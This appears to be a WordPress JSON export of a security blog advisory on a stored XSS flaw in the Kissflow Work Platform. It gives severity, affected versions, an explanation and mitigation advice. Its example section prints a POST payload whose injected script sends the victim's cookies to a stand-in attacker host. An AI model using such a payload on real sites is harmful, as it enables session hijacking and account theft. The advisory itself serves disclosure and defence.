{"id":82566,"date":"2025-10-11T15:27:08","date_gmt":"2025-10-11T15:27:08","guid":{"rendered":""},"modified":"2025-10-22T19:06:05","modified_gmt":"2025-10-23T01:06:05","slug":"cve-2025-57393-stored-xss-vulnerability-in-kissflow-work-platform","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-57393-stored-xss-vulnerability-in-kissflow-work-platform\/","title":{"rendered":"<strong>CVE-2025-57393: Stored XSS Vulnerability in Kissflow Work Platform<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>In the world of cybersecurity, vulnerabilities are an inevitable part of any software system. One such vulnerability has been identified in the Kissflow Work Platform affecting a range of versions of the Kissflow Application. CVE-2025-57393 is a stored cross-site scripting (XSS) <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-57761-unpatched-sql-injection-vulnerability-in-wegia-web-manager\/\"  data-wpil-monitor-id=\"89754\">vulnerability that allows attackers to execute arbitrary web<\/a> scripts or HTML via a crafted payload. Given the popularity and wide usage of the Kissflow platform, this vulnerability could potentially affect a large number of organizations globally, leading to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-12367-system-compromise-via-sensitive-information-exposure-in-vega-master-software\/\"  data-wpil-monitor-id=\"89861\">system compromise<\/a> or data leakage.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-57393<br \/>\nSeverity: High (8.8 CVSS)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: Required<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-7093-critical-vulnerability-in-belkin-f9k1122-1-00-33-impacting-system-security-and-data-integrity\/\"  data-wpil-monitor-id=\"91225\">System compromise or data<\/a> leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-3860529102\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 720px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 22px; font-weight: 600; display: flex; align-items: center; letter-spacing: -0.02em;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 10px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 42px; height: 42px;\" \/>\r\n    <\/a>\r\n    Share secrets securely\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 14px; color: #d1d5db;\">\r\n    Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 18px; color: #a1a1aa;\">\r\n    Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 24px; color: #e4e4e7;\">\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Encrypted identity<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Private Spaces for organizations and teams<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 End-to-end encrypted chat, calls, files, and notes<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Sensitive AI work and protected collaboration<\/li>\r\n    <li>\u2022 Built for information that cannot leak<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px; color: #ffffff;\">\r\n    Our mission is to secure human work alongside AI.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Download Ameeba\r\n    <\/a>\r\n\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Learn More\r\n    <\/a>\r\n  <\/div>\r\n<\/div><\/div>\n<p>Product | Affected Versions<\/p>\n<p>Kissflow Work Platform Kissflow Application | 7337 Account v2.0 to v4.2<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-43728-protection-mechanism-failure-vulnerability-in-dell-thinos\/\"  data-wpil-monitor-id=\"90235\">vulnerability arises from the application&#8217;s failure<\/a> to adequately sanitize user-supplied input. An attacker can take advantage of this flaw by crafting a malicious payload containing JavaScript code. This payload is then submitted to the application, where it is stored and later rendered in the user&#8217;s browser. When an unsuspecting user visits the affected page, the malicious script is executed, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-59340-jinjava-template-engine-vulnerability-leading-to-potential-remote-code-execution\/\"  data-wpil-monitor-id=\"90425\">leading to a potential<\/a> system compromise or data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-2254791590\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below is a conceptual example of how the vulnerability might be exploited. In this case, the attacker is submitting a malicious payload via a POST <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-44594-server-side-request-forgery-ssrf-vulnerability-in-halo-v2-20-17\/\"  data-wpil-monitor-id=\"89797\">request to a vulnerable<\/a> endpoint on the target server.<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/vulnerable\/endpoint HTTP\/1.1\nHost: target.example.com\nContent-Type: application\/json\n{ &quot;malicious_payload&quot;: &quot;&lt;script&gt;new Image().src=&#039;http:\/\/attacker.com\/collect.php?c=&#039;+document.cookie;&lt;\/script&gt;&quot; }<\/code><\/pre>\n<p>In this example, the malicious payload is a script that sends the user&#8217;s cookies to the attacker&#8217;s server. This is just an example; the actual payload could be any <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-57644-critical-vulnerabilities-within-accela-automation-platform-s-test-script-feature\/\"  data-wpil-monitor-id=\"90116\">script designed to exploit the vulnerability<\/a>.<\/p>\n<p><strong>Prevention and Mitigation<\/strong><\/p>\n<p>Users of the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-9693-arbitrary-file-deletion-vulnerability-in-user-meta-user-profile-builder-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"90580\">Kissflow Work<\/a> Platform are advised to apply the vendor patch immediately to mitigate this vulnerability. In cases where immediate patching is not possible, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These tools can help detect and block malicious payloads, reducing the risk of exploitation. However, these are just temporary measures, and updating the software remains the most effective way to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-51606-critical-security-vulnerability-in-hippo4j-due-to-hard-coded-jwt-secret-key\/\"  data-wpil-monitor-id=\"89741\">secure your systems against this vulnerability<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview In the world of cybersecurity, vulnerabilities are an inevitable part of any software system. One such vulnerability has been identified in the Kissflow Work Platform affecting a range of versions of the Kissflow Application. CVE-2025-57393 is a stored cross-site scripting (XSS) vulnerability that allows attackers to execute arbitrary web scripts or HTML via a [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[81],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-82566","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-xss"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/82566","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=82566"}],"version-history":[{"count":9,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/82566\/revisions"}],"predecessor-version":[{"id":84244,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/82566\/revisions\/84244"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=82566"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=82566"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=82566"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=82566"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=82566"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=82566"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=82566"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=82566"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=82566"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}